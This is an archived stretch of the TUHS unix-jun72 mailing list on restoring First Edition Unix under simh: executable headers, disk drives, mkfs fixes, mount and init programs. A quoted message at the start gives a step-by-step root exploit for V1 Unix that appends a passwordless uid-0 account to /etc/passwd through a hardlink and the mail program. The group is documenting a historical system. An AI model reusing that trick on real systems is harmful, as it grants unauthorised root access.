>   80 surwr-  1 root   3940 Jan  1 00:00:00 mail
> 
> login as a non-root user (ie "bin"), create a file "letter" with the 
> contents "hack::0:/:".  Run:
> 
>     @ ln /etc/passwd /tmp/mailbox
>     @ mail letter /tmp
> 
> log out and log back in as "hack".  You are now root.  Cat /etc/passwd
> and notice:
> 
>    From bin Jan  1 00:49:22
>    hack::0:/:
> 
> clean up the file a little and enjoy your new elevated status.
> 
> Tim Newsham
> http://www.thenewsh.com/~newsham/
> _______________________________________________
> TUHS mailing list
> TUHS at minnie.tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/tuhs

-- 
---
Larry McVoy                lm at bitmover.com           http://www.bitkeeper.com


From wkt at tuhs.org  Sun May  4 11:03:52 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sun, 4 May 2008 11:03:52 +1000
Subject: [Unix-jun72] Dealing with 0407 a.outs in the V1 kernel
In-Reply-To: <2901.1209825347@mini>
References: <2901.1209825347@mini>
Message-ID: <20080504010352.GA14058@minnie.tuhs.org>

On Sat, May 03, 2008 at 10:35:47AM -0400, Brad Parker wrote:
> And it runs, but nothing happens.  I have not debugged it much.  Wish we
> had a working v1 as.

I think getting the V1 kernel to grok 0407 a.outs should be easier. Here are
snippets from the V1 and V2 a.out man pages:

1st Edition                               2nd Edition
-----------                               -----------
The header always contains 6 words:       The header always contains 8 words:
 1  a "br .+14" instruction [205(8)]       1  a "br .+20" instruction [207(8)]
 2  the size of the program text           2 the size of the program text
 3  the size of the symbol table           3 the size of the initialised data
 4  the size of the relocation bits area   4 the size of the uninit (bss) data
 5  the size of a data area                5 the size of the symbol table
 6  a zero word, unused at present         6 the entry location, always 0
                                           7 stack size required, always 0
                                           8 a flag indicating relocation bits
                                             have been suppressed


When I wrote the Apout support for V1 and V2, I found that all of an 0405
a.out was loaded into memory including the header, but the 0407 a.out is
loaded into memory MINUS the 8-word header.

So, I'm guessing, in the kernel's sysexec: code, where it does

        cmp     core,$405       / br .+14 is first instruction if file is
                                / standard a.out format

we have to add a section that recognises 0407, adds up the size of text,
data and bss (words 2, 3, 4), saves that in u.count, and loads the
rest of the a.out into memory but with the 8-word header removed.

Cheers,
	Warren


From wkt at tuhs.org  Sun May  4 11:27:41 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sun, 4 May 2008 11:27:41 +1000
Subject: [Unix-jun72] rk03 vs rk05
In-Reply-To: <Pine.BSI.4.64.0805030815330.20114@malasada.lava.net>
References: <2901.1209825347@mini> <4998.1209837139@mini>
	<Pine.BSI.4.64.0805030812100.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805030815330.20114@malasada.lava.net>
Message-ID: <20080504012741.GA14788@minnie.tuhs.org>

On Sat, May 03, 2008 at 08:16:23AM -1000, Tim Newsham wrote:
> > We may not need mount afterall.  The init process mounts /dev/rk0 on
> > /usr during startup (after the second "1:" label on e12-01).
> 
> Oh, for what its worth, the init sources say its an "rk05" disk ("rko5" 
> actually ;-) I think Warren was asking about which model to use earlier.

Confusingly, the 1e manual for /dev/rk0 says its an RK03. I'll have to go
read the DEC manuals, but I would guess that the RK11 drive and interface is
the same, but the RK03 and RK05 removable disk packs were of different
storage capacity.

	Warren


From jam at magic.com  Sun May  4 11:59:44 2008
From: jam at magic.com (James A. Markevitch)
Date: Sat, 3 May 2008 18:59:44 -0700 (PDT)
Subject: [Unix-jun72] rk03 vs rk05
Message-ID: <200805040159.SAA04559@mist.magic.com>

> Confusingly, the 1e manual for /dev/rk0 says its an RK03. I'll have to go
> read the DEC manuals, but I would guess that the RK11 drive and interface is
> the same, but the RK03 and RK05 removable disk packs were of different
> storage capacity.

The controller is an RK11.
The disk drives are RK02, RK03, RK05.

The RK02 is a 1.2MB drive (256B per sector).
The RK03 is a 2.4MB drive (512B per sector).
The RK05 is a 2.4MB drive (512B per sector).

The media for the RK03 and RK05 are compatible (IBM 2315).  The drives
look different from each other, but I don't think the system can tell
the difference.

James Markevitch


From newsham at lava.net  Sun May  4 15:19:03 2008
From: newsham at lava.net (Tim Newsham)
Date: Sat, 3 May 2008 19:19:03 -1000 (HST)
Subject: [Unix-jun72] init
Message-ID: <Pine.BSI.4.64.0805031915580.20114@malasada.lava.net>

I looked through init briefly and the version from s2.tar.gz is
slightly different than the one in the pdf printout.  In the printout
/dev/rk0 is mounted on /usr at boot time.  In the s2 version the
string "/usr" is still present, but the call to mount is gone
and so is the "/dev/rk0" string.

The init source is fairly short and shouldn't be too hard to type
in or get from ocr.  Has anyone yet worked through the details of
using the V7 compiler to make 0405 binaries?  Also has anyone
successfully used a populated /usr on rk0 yet?

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Sun May  4 15:31:21 2008
From: newsham at lava.net (Tim Newsham)
Date: Sat, 3 May 2008 19:31:21 -1000 (HST)
Subject: [Unix-jun72] init
In-Reply-To: <Pine.BSI.4.64.0805031915580.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805031915580.20114@malasada.lava.net>
Message-ID: <Pine.BSI.4.64.0805031923530.20114@malasada.lava.net>

Poked around in the s2 frags and noticed an even newer version of "init" 
in frag2. This one uses "sys 38." to get the console switches (v1 and s2 
read them directly and our kernel only has syscalls through 33).  This one 
mounts several disks (rk1, rk2 and rk3 on usr, ssys and crp) and even runs 
a bunch of programs (such as /usr/mel/da and /usr/demo/dds)!  Also while 
its called a fragment, it looks to be a complete source or very near to it.

Tim Newsham 
http://www.thenewsh.com/~newsham/


From wkt at tuhs.org  Sun May  4 16:50:24 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sun, 4 May 2008 16:50:24 +1000
Subject: [Unix-jun72] init
In-Reply-To: <Pine.BSI.4.64.0805031915580.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805031915580.20114@malasada.lava.net>
Message-ID: <20080504065024.GA26878@minnie.tuhs.org>

On Sat, May 03, 2008 at 07:19:03PM -1000, Tim Newsham wrote:
> I looked through init briefly and the version from s2.tar.gz is
> slightly different than the one in the pdf printout.  In the printout
> /dev/rk0 is mounted on /usr at boot time.  In the s2 version the
> string "/usr" is still present, but the call to mount is gone
> and so is the "/dev/rk0" string.
> 
> The init source is fairly short and shouldn't be too hard to type
> in or get from ocr.  Has anyone yet worked through the details of
> using the V7 [assembler] to make 0405 binaries?

It shouldn't be too hard, but I'm not an assembly person, so it's best
that someone else tries. My previous e-mail about the 0405 and 0407 headers,
plus the fact that the 0405 header IS loaded in memory, should be enough.

> Also has anyone successfully used a populated /usr on rk0 yet?

No, but I can create an rk0.dsk image with my mkfs; then in simh I can
do check (no args) which checks both RF and RK filesystems; ditto df.
So it must be close.

As an alternative, it should not be too hard to hand-craft an 0405
a.out which simply mounts /dev/rk0 on /usr.

Cheers,
	Warren

P.S s2 frags: yes, some of them are not fragments, but complete files,
even with junk leftover at the bottom of each file.


From wkt at tuhs.org  Sun May  4 18:41:37 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sun, 4 May 2008 18:41:37 +1000
Subject: [Unix-jun72] Yes, a mount command
In-Reply-To: <20080504065024.GA26878@minnie.tuhs.org>
References: <Pine.BSI.4.64.0805031915580.20114@malasada.lava.net>
	<20080504065024.GA26878@minnie.tuhs.org>
Message-ID: <20080504084137.GA32129@minnie.tuhs.org>

I took Brad Parker's suggestion for a simple mount rk0 /usr command,
and modified it as follows:

exit  = 1.
write = 4.
mount = 21.

        mov     $1,r0
        sys     write; rk0+040020; 8.
        sys     write; usr+040020; 4.
        sys mount; rk0+040020; usr+040020
        sys exit
        sys exit

rk0:    </dev/rk0\0>
usr:    </usr\0>

Assemble this with V7 as, to get:

0000000    000407  000050  000000  000000  000074  000000  000000  000000
0000020    012700  000001  104404  040052  000010  104404  040063  000004
0000040    104425  040052  040063  104401  104401  062057  073145  071057
0000060    030153  027400  071565  000162  000000  000000  000000  000002
0000100    000000  000000  000002  000000  000000  000002  000002  000000
0000120    000000  000000  000000  000000  000000  000000  000000  000000
0000140    074145  072151  000000  000000  000001  000001  071167  072151
0000160    000145  000000  000001  000004  067555  067165  000164  000000
0000200    000001  000025  065562  000060  000000  000000  000002  000032
0000220    071565  000162  000000  000000  000002  000043

Now hand-edit the top line with a binary editor to have this:

0000000    000405  000130  000000  000000  000074  000000  010000  010000

This makes it an 0405 executable, and the first 2 instructions become
mov r0,r0, i.e. a NOP.

Copy the a.out into your V1 /tmp directory, and use tools/mktape.py to
rebuild the tape. If you haven't used it before, here is what I did:

        tools/mktape.py /usr/local/src/V1/bin/* /usr/local/src/V1/etc/* \
        /usr/local/src/V1/tmp/*

Now do tools/assemv7 cold to build a cold kernel, then ./simh.cfg to run it
to make rf0.dsk.

Now run tools/assemv7 with no args to get a warm kernel. Copy rf0.dsk to
rk0.dsk so that you have 2 filesystems. Run ./simh.cfg, login as root,
and you should see /tmp/a.out. Run /tmp/a.out; you should see /dev/rk0
echoed on stdout. I don't know why /usr is not echoed.

Now you can chdir to /usr and do ls -l in there.

Annoyingly, du / only shows / and doesn't traverse into /usr. So I
may have had it working before, but I didn't realise that du was not the
best tool to verify the mount.

Cheers,
        Warren

-------------- next part --------------
A non-text attachment was scrubbed...
Name: a.out
Type: application/octet-stream
Size: 156 bytes
Desc: not available
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20080504/80d2673e/attachment.obj>

From wkt at tuhs.org  Sun May  4 19:02:03 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sun, 4 May 2008 19:02:03 +1000
Subject: [Unix-jun72] Help needed with my mkfs.c
Message-ID: <20080504090203.GA32355@minnie.tuhs.org>

I've just checked in my latest tools/mkfs.c into the svn repository. Could
a few people eyeball it and look for errors. Even better, if you can eyeball
the working rf0.dsk image and compare it to an image made by my mkfs.c.

At present, I can make an rk0.dsk image with mkfs. I can run up a warm kernel
and try to mount the rk0 image as /usr, with my /tmp/a.out. But when I try
to chdir /usr, I get a Bad directory message.

So something is screwy with the rk0.dsk that my mkfs.c is making.

Thanks,
	Warren

P.S typescript of warm boot:

:login: root
root
# check					# check indicates rk0.dsk is OK
RF:
 119 files
   6 large
   6 indirect
 255 used
 399 free
 336 missing

RK:
  43 files
   0 large
   0 indirect
   2 used
4784 free
   0 missing
# /tmp/a.out				# I try to mount it
/dev/rk0# chdir /usr			# but the chdir fails
Bad directory
# du /usr				# du /usr shows no results
# df /usr				# and df shows it is empty
0
# df					# but df shows the free space on RF/RK
399+4784


From wb at freebie.xs4all.nl  Sun May  4 19:06:53 2008
From: wb at freebie.xs4all.nl (Wilko Bulte)
Date: Sun, 4 May 2008 11:06:53 +0200
Subject: [Unix-jun72] rk03 vs rk05
In-Reply-To: <200805040159.SAA04559@mist.magic.com>
References: <200805040159.SAA04559@mist.magic.com>
Message-ID: <20080504090653.GA72326@freebie.xs4all.nl>

Quoting James A. Markevitch, who wrote on Sat, May 03, 2008 at 06:59:44PM -0700 ..
> > Confusingly, the 1e manual for /dev/rk0 says its an RK03. I'll have to go
> > read the DEC manuals, but I would guess that the RK11 drive and interface is
> > the same, but the RK03 and RK05 removable disk packs were of different
> > storage capacity.
> 
> The controller is an RK11.
> The disk drives are RK02, RK03, RK05.
> 
> The RK02 is a 1.2MB drive (256B per sector).
> The RK03 is a 2.4MB drive (512B per sector).
> The RK05 is a 2.4MB drive (512B per sector).

There was also a RK05F which used a fixed platter (in the same
plastic enclosure as the removables if I remember correctly).  That was
double capacity, around 5MB.

Wilko


From brad at heeltoe.com  Sun May  4 22:47:29 2008
From: brad at heeltoe.com (Brad Parker)
Date: Sun, 04 May 2008 08:47:29 -0400
Subject: [Unix-jun72] Change to mail list behaviour
In-Reply-To: <20080503.125227.1791029143.imp@bsdimp.com> 
References: <20080503124626.GA84693@minnie.tuhs.org>
	<20080503184315.GG28208@mercury.ccil.org>
	<20080503.125227.1791029143.imp@bsdimp.com>
Message-ID: <15402.1209905249@mini>


>: http://www.unicom.com/pw/reply-to-harmful.html
>: http://woozle.org/~neale/papers/reply-to-still-harmful.html
>
>I respectfully disagree.
>
>Religious jihads are like that.

I don't think this is a religious issue.  Please read those pages
carefully.  It's about normal human behavior and expectations.

I can't tell you how many times I've made the same mistakes
listed in those pages.  Many times.  Always wit embarrassment.

My mailer has reply and reply-all and I use them consciously every day.

with the new setting I hit reply-all and I generate 2 copies to the
list...  so this list becomes unlike all the others I am on.

You may still disagree, but I think there is some sound logic 
behind the idea.

-brad


From brad at heeltoe.com  Sun May  4 22:54:34 2008
From: brad at heeltoe.com (Brad Parker)
Date: Sun, 04 May 2008 08:54:34 -0400
Subject: [Unix-jun72] init
In-Reply-To: <Pine.BSI.4.64.0805031915580.20114@malasada.lava.net> 
References: <Pine.BSI.4.64.0805031915580.20114@malasada.lava.net>
Message-ID: <15542.1209905674@mini>


Tim Newsham wrote:
>I looked through init briefly and the version from s2.tar.gz is
>slightly different than the one in the pdf printout.  In the printout
>/dev/rk0 is mounted on /usr at boot time.  In the s2 version the
>string "/usr" is still present, but the call to mount is gone
>and so is the "/dev/rk0" string.

yes, I noticed that.  I looked for strings in the binary init and
didn't see /dev/rk0.

>The init source is fairly short and shouldn't be too hard to type
>in or get from ocr.  Has anyone yet worked through the details of
>using the V7 compiler to make 0405 binaries?  Also has anyone
>successfully used a populated /usr on rk0 yet?

I think you can hack the header with dd.

I have gotten /usr to mount but something it not right.  check says it
has files but the mount does something odd and nothing appears under the
mount point.

-brad



From brad at heeltoe.com  Sun May  4 23:06:26 2008
From: brad at heeltoe.com (Brad Parker)
Date: Sun, 04 May 2008 09:06:26 -0400
Subject: [Unix-jun72] Help needed with my mkfs.c
In-Reply-To: <20080504090203.GA32355@minnie.tuhs.org> 
References: <20080504090203.GA32355@minnie.tuhs.org>
Message-ID: <15775.1209906386@mini>


Warren Toomey wrote:
...
>/dev/rk0# chdir /usr			# but the chdir fails
>Bad directory

I noticed that after the mount the directory bits where not set on the
mount point (which I thought was odd).

If the resulting node does not have the directory bits set, you can
get "Bad directory" from the shell.

something in the mode bits in the root of the fs?  

(I have not looked at the fs structure, but I'll take a look today since
it's raining here and I won't be watching soccer or baseball)

-brad



From wkt at tuhs.org  Mon May  5 00:33:43 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 5 May 2008 00:33:43 +1000
Subject: [Unix-jun72] mkfs.c is now working
Message-ID: <20080504143343.GA39542@minnie.tuhs.org>

All, my mkfs.c $Revision: 1.17 $, $Date: 2008/05/04 14:20:12 $ now produces
mountable filesystem images, and it's now checked into the svn repository.
The problem was that the size of a directory is not the size of the blocks
allocated to it, but is in fact the number of bytes of the in-use directory
entries. For example, / was being allocated 1 block == 512 bytes. But 512
is not its size (as it would be in later UNIXes); in fact if / has entries

 41 sdrwr-  7 root     70 Jan  1 00:00:00 .
 41 sdrwr-  7 root     70 Jan  1 00:00:00 ..
 43 sdrwr-  2 root    570 Jan  1 00:00:00 bin
 42 sdrwr-  2 root    250 Jan  1 00:00:00 dev
 99 sdrwr-  2 root    100 Jan  1 00:00:00 etc
108 sdrwr-  2 root     70 Jan  1 00:00:00 tmp
114 sdrwr-  2 root     20 Jan  1 00:00:00 usr

then its size is 7 entries * 10 bytes each = 70 bytes.

Importantly, this also means that we can now make bootable root filesystems
without having to do a cold UNIX:

% tools/mkfs /usr/local/src/V1 rf0.dsk rf	# Make the / disk
% tools/mkfs /usr/local/src/V1 rk0.dsk rk	# Make the /usr disk, same stuff
% ./simh.cfg
PDP-11 simulator V3.7-3
./simh.cfg> #!tools/pdp11
Unknown command
Disabling CR
Disabling XQ
RF: buffering file in memory
TC0: 16b format, buffering file in memory
sim> g

:login: root
root
# /tmp/a.out
/dev/rk0# ls -l /usr/tmp
total    8
112 sxrwrw  1 root    156 Jan  1 00:00:00 a.out
110 sxrwrw  1 root   1664 Jan  1 00:00:00 etma
113 sxrwrw  1 root      6 Jan  1 00:00:00 hello
109 sxrwrw  1 root     26 Jan  1 00:00:00 ttmp
111 sxrwrw  1 root    142 Jan  1 00:00:00 utmp
# df
806+4602			# Number of free blocks on / and /usr

I added /usr/tmp/hello just to verify that I was getting files that
were not on the cold UNIX tape.

Cheers,
	Warren


From jam at magic.com  Mon May  5 00:37:01 2008
From: jam at magic.com (James A. Markevitch)
Date: Sun, 4 May 2008 07:37:01 -0700 (PDT)
Subject: [Unix-jun72] rk03 vs rk05
Message-ID: <200805041437.HAA08617@mist.magic.com>

> > The controller is an RK11.
> > The disk drives are RK02, RK03, RK05.
> > 
> > The RK02 is a 1.2MB drive (256B per sector).
> > The RK03 is a 2.4MB drive (512B per sector).
> > The RK05 is a 2.4MB drive (512B per sector).
> 
> There was also a RK05F which used a fixed platter (in the same
> plastic enclosure as the removables if I remember correctly).  That was
> double capacity, around 5MB.

Yes, the RK05J is the removable one, as described above.  The RK05F is
the fixed version that doubles the density.  However, to the system, it
appears as two separate drives, not as a single 5MB drive.  I am not
sure how the data were interleaved between the two "logical drives"
which is important when scheduling seeks on the logical drives.

James Markevitch


From wkt at tuhs.org  Mon May  5 00:42:03 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 5 May 2008 00:42:03 +1000
Subject: [Unix-jun72] mkfs.c is now working
In-Reply-To: <20080504143343.GA39542@minnie.tuhs.org>
References: <20080504143343.GA39542@minnie.tuhs.org>
Message-ID: <20080504144203.GA39852@minnie.tuhs.org>

Just thought I should add a missing comment to my previous e-mail:
> :login: root
> root
> # /tmp/a.out			# Mount /dev/rk0 /usr using my mount binary
> /dev/rk0


	Warren


From newsham at lava.net  Mon May  5 04:54:51 2008
From: newsham at lava.net (Tim Newsham)
Date: Sun, 4 May 2008 08:54:51 -1000 (HST)
Subject: [Unix-jun72] slight tools cleanup
Message-ID: <Pine.BSI.4.64.0805040852430.20114@malasada.lava.net>

I reorganized the build process slightly.  Hopefully this won't affect
anyone and everything will keep working as before.   I basically
took the 'sed' hacks out of assemv7 and made the "rebuild" script do
the patching with proper patch files instead.  There is now a patches
directory with all of the patches we are using and comments on what
they do and why.

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Mon May  5 06:18:08 2008
From: newsham at lava.net (Tim Newsham)
Date: Sun, 4 May 2008 10:18:08 -1000 (HST)
Subject: [Unix-jun72] 0407 binaries on 1ed
In-Reply-To: <Pine.BSI.4.64.0805031923530.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805031915580.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805031923530.20114@malasada.lava.net>
Message-ID: <Pine.BSI.4.64.0805031940510.20114@malasada.lava.net>

I added a patch "aout407.patch" for running a.out binaries in the 1ed
kernel.  It could be a little cleaner; if anyone can review it and fix
it up I would appreciate it.  I was able to run "as" and "size",
both of which are 0407 binaries.

This patch isn't applied automatically, but I also changed the 
"tools/rebuild" script to take a list of optional patches to apply, so now 
you can select any set of optional patches on the command line:

    $ tools/assemv7 cold
    $ tools/assemv7 aout407
    $ tools/assemv7 cold aout407 myowncustompatch

Tim Newsham
http://www.thenewsh.com/~newsham/


From wkt at tuhs.org  Mon May  5 08:33:53 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 5 May 2008 08:33:53 +1000
Subject: [Unix-jun72] 0407 binaries on 1ed
In-Reply-To: <Pine.BSI.4.64.0805031940510.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805031915580.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805031923530.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805031940510.20114@malasada.lava.net>
Message-ID: <20080504223353.GA63333@minnie.tuhs.org>

On Sun, May 04, 2008 at 10:18:08AM -1000, Tim Newsham wrote:
> I added a patch "aout407.patch" for running a.out binaries in the 1ed
> kernel.  It could be a little cleaner; if anyone can review it and fix
> it up I would appreciate it.  I was able to run "as" and "size",
> both of which are 0407 binaries.

Excellent stuff Tim. I've had a quick look; I suspect the existing code:

        cmp     r5,u.count /
        bgt     1f / branch if r5 greater than u.count
        mov     r5,u.count

checks to ensure that the new a.out is small emough to fit into the
address space left by the executable that called exec(2).
 
> This patch isn't applied automatically, but I also changed the 
> "tools/rebuild" script to take a list of optional patches to apply.

That's also a good idea.  Thanks Tim.

	Warren


From wkt at tuhs.org  Mon May  5 08:41:25 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 5 May 2008 08:41:25 +1000
Subject: [Unix-jun72] Another reorganisation suggestion
Message-ID: <20080504224125.GB63333@minnie.tuhs.org>

Now that we have 0407 kernel support, I'll have a go at getting one of the
early C compilers to work. Could I suggest that we make a src/ directory
in svn, which will hold any source code that produces V1/V2 executables?
I'll make a directory for the C compiler. We can also add in working fragments
from the s2 tape into a cmd/ directory. The layout echoes the V7 tree:

/usr/src
/usr/src/cmd/		# Single file sourcefiles
/usr/src/cmd/as/	# Assembler
/usr/src/cmd/c/		# C compiler
/usr/src/libc/		# C library
/usr/sys/sys/		# Kernel source

Which of course implies that we might need to rename rebuilt/ to sys/  :-)

Thanks,
	Warren


From cyrille.lefevre-lists at laposte.net  Mon May  5 09:09:43 2008
From: cyrille.lefevre-lists at laposte.net (Cyrille Lefevre)
Date: Mon, 05 May 2008 01:09:43 +0200
Subject: [Unix-jun72] Change to mail list behaviour
In-Reply-To: <20080503184315.GG28208@mercury.ccil.org>
References: <20080503124626.GA84693@minnie.tuhs.org>
	<20080503184315.GG28208@mercury.ccil.org>
Message-ID: <481E4237.9020502@laposte.net>

John Cowan a écrit :
> Warren Toomey scripsit:
> 
>> After e-mailing a reply about 6 times today and it going to the original
>> poster, instead of the mailing list where I wanted it to go, I have
>> decided to change the behaviour of the unix-jun72 at tuhs.org list. Replies
>> will now go back to the list, not the poster.
> 
> Arrgh!  Kill!  Kill!  Kill!!
> 
> http://www.unicom.com/pw/reply-to-harmful.html
> http://woozle.org/~neale/papers/reply-to-still-harmful.html

you forgot this one :)

titled "Reply-To Munging Considered Useful"

http://www.metasystema.net/essays/reply-to.mhtml

Regards,

Cyrille Lefevre
-- 
mailto:Cyrille.Lefevre-lists at laposte.net




From newsham at lava.net  Mon May  5 10:00:27 2008
From: newsham at lava.net (Tim Newsham)
Date: Sun, 4 May 2008 14:00:27 -1000 (HST)
Subject: [Unix-jun72] 0407 binaries on 1ed
In-Reply-To: <20080504223353.GA63333@minnie.tuhs.org>
References: <Pine.BSI.4.64.0805031915580.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805031923530.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805031940510.20114@malasada.lava.net>
	<20080504223353.GA63333@minnie.tuhs.org>
Message-ID: <Pine.BSI.4.64.0805041359490.20114@malasada.lava.net>

> Excellent stuff Tim. I've had a quick look; I suspect the existing code:
>
>        cmp     r5,u.count /
>        bgt     1f / branch if r5 greater than u.count
>        mov     r5,u.count
>
> checks to ensure that the new a.out is small emough to fit into the
> address space left by the executable that called exec(2).

Right, but after it branches it goes ahead and reads anyway(!?)
Thats the part that confused me.. perhaps there's a line or two
missing somewhere in the code here?

> 	Warren

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Mon May  5 10:03:04 2008
From: newsham at lava.net (Tim Newsham)
Date: Sun, 4 May 2008 14:03:04 -1000 (HST)
Subject: [Unix-jun72] Another reorganisation suggestion
In-Reply-To: <20080504224125.GB63333@minnie.tuhs.org>
References: <20080504224125.GB63333@minnie.tuhs.org>
Message-ID: <Pine.BSI.4.64.0805041401090.20114@malasada.lava.net>

> early C compilers to work. Could I suggest that we make a src/ directory
> in svn, which will hold any source code that produces V1/V2 executables?

Sure.  just make the directory and add files to it and "svn add dir"
or "svn mkdir dir" and start adding files.  Either way, once you commit
it'll get pushed up.

> Which of course implies that we might need to rename rebuilt/ to sys/  :-)

I'm fine renaming things..  the early names were just kind of ad hoc.
though "rebuilt" should probably be named "clean" and the "build"
directory that has the patches applied should probably be "sys".

> 	Warren

Tim Newsham
http://www.thenewsh.com/~newsham/


From wkt at tuhs.org  Mon May  5 11:17:06 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 5 May 2008 11:17:06 +1000
Subject: [Unix-jun72] Another RK mount program
In-Reply-To: <Pine.BSI.4.64.0805031940510.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805031915580.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805031923530.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805031940510.20114@malasada.lava.net>
Message-ID: <20080505011706.GA67094@minnie.tuhs.org>

On Sun, May 04, 2008 at 10:18:08AM -1000, Tim Newsham wrote:
> I added a patch "aout407.patch" for running a.out binaries in the 1ed
> kernel. I was able to run "as" and "size", both of which are 0407 binaries.

Here is an asm program to mount /usr, which assembles with "as". This
replaces my hand-crafted one from yesterday.

	Warren

/ rkmnt.s: mount /dev/rk0 onto /usr
/ Assembles with V1 "as" on V1 kernel with 0407 patch

exit  = 1.
write = 4.
mount = 21.

        mov     $1,r0
        sys     write; rk0; 8.
        mov     $1,r0
        sys     write; usr; 4.
        sys mount; rk0; usr
        sys exit

rk0:    </dev/rk0\0>
usr:    </usr\0>


From wkt at tuhs.org  Mon May  5 11:23:56 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 5 May 2008 11:23:56 +1000
Subject: [Unix-jun72] No luck with C compiler yet, but an idea
In-Reply-To: <Pine.BSI.4.64.0805031940510.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805031915580.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805031923530.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805031940510.20114@malasada.lava.net>
Message-ID: <20080505012356.GB67094@minnie.tuhs.org>

On Sun, May 04, 2008 at 10:18:08AM -1000, Tim Newsham wrote:
> I added a patch "aout407.patch" for running a.out binaries in the 1ed
> kernel.  It could be a little cleaner; if anyone can review it and fix
> it up I would appreciate it.  I was able to run "as" and "size",
> both of which are 0407 binaries.

I played around trying to get the last11c C compiler to work, but no luck
yet. I can compile it using Apout and the existing cc, c0, c1, as binaries.

Tim, I suspect that we need to modify the 0407 patch to also clear the
bss area in core. Here are the headers from several binaries

	    Size of:   text    data    bss
/usr/lib/c0   000407  023324  003574  005700  017614  000000  000000  000001
/usr/lib/c1   000407  016664  011554  003030  010624  000000  000000  000001
/usr/bin/cc   000407  004576  000416  001024  003644  000000  000000  000001
/usr/bin/as   000407  016616  000000  000000  000000  000000  000000  000001
/usr/bin/size 000407  002626  000000  000000  000000  000000  000000  000001

You can see that c0, c1 and cc all have bss areas, but as and size have no
bss areas, which is probably why they work OK.

Cheers,
	Warren


From newsham at lava.net  Mon May  5 11:56:57 2008
From: newsham at lava.net (Tim Newsham)
Date: Sun, 4 May 2008 15:56:57 -1000 (HST)
Subject: [Unix-jun72] No luck with C compiler yet, but an idea
In-Reply-To: <20080505012356.GB67094@minnie.tuhs.org>
References: <Pine.BSI.4.64.0805031915580.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805031923530.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805031940510.20114@malasada.lava.net>
	<20080505012356.GB67094@minnie.tuhs.org>
Message-ID: <Pine.BSI.4.64.0805041552440.20114@malasada.lava.net>

> I played around trying to get the last11c C compiler to work, but no luck
> yet. I can compile it using Apout and the existing cc, c0, c1, as binaries.
>
> Tim, I suspect that we need to modify the 0407 patch to also clear the
> bss area in core. Here are the headers from several binaries

The whole userland is zerod before the a.out is loaded.  I did find
a bug -- I was setting u.break to text+data+bss when it should have
been core+text+data+bss - any dynamic allocation was probably giving
back incorrect pointers.

I committed the fix but I don't have a good way to test it.  I can't
seem to enter a "}" character (or upper case lettes) into the console
so I cant easily type a test C program.  Anyone know of a setting to
work around this or to translate ^M into ^J?

Anyway, if you have more problems, please send me a test program and
I'll try to debug it further.

> 	Warren

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Mon May  5 12:07:41 2008
From: newsham at lava.net (Tim Newsham)
Date: Sun, 4 May 2008 16:07:41 -1000 (HST)
Subject: [Unix-jun72] jun72 init.s
Message-ID: <Pine.BSI.4.64.0805041601230.20114@malasada.lava.net>

I entered init.s and played around with it a little.  I *think* it might
be working (I stepped through some of it) but it doesn't use the normal
tty in multi-user mode, so it's hard to tell without dc-11 support.
I guess it was lucky that we used the s2 init instead of the jun72
init, because it seems the s2 init does run getty on the main terminal
in multiuser mode.

The process for building it is:

    $ tools/rebuild
    $ tools/as sys1.s build/init.s

and you'll have a "b.out" in the current dir.

Is anyone planning on working on dc-11 support?

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Mon May  5 12:47:22 2008
From: newsham at lava.net (Tim Newsham)
Date: Sun, 4 May 2008 16:47:22 -1000 (HST)
Subject: [Unix-jun72] jun72 init.s
In-Reply-To: <Pine.BSI.4.64.0805041601230.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805041601230.20114@malasada.lava.net>
Message-ID: <Pine.BSI.4.64.0805041643490.20114@malasada.lava.net>

>    $ tools/rebuild
>    $ tools/as sys1.s build/init.s

Init works now provided you edit the "itab" appropriately.  If you
change the first entry to "'8: .." and comment out all the rest it
will spawn a tty on /dev/tty8 which is an alias for /dev/tty.  If
you leave in other tty entries, the system will respond much more
slowly, will print a login prompt, but then become unresponsive.
Possibly the kernel has some tty handling bugs still present or
doesn't like running without the DC11 hardware present?

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Mon May  5 12:52:45 2008
From: newsham at lava.net (Tim Newsham)
Date: Sun, 4 May 2008 16:52:45 -1000 (HST)
Subject: [Unix-jun72] jun72 init.s
In-Reply-To: <Pine.BSI.4.64.0805041643490.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805041601230.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805041643490.20114@malasada.lava.net>
Message-ID: <Pine.BSI.4.64.0805041651080.20114@malasada.lava.net>

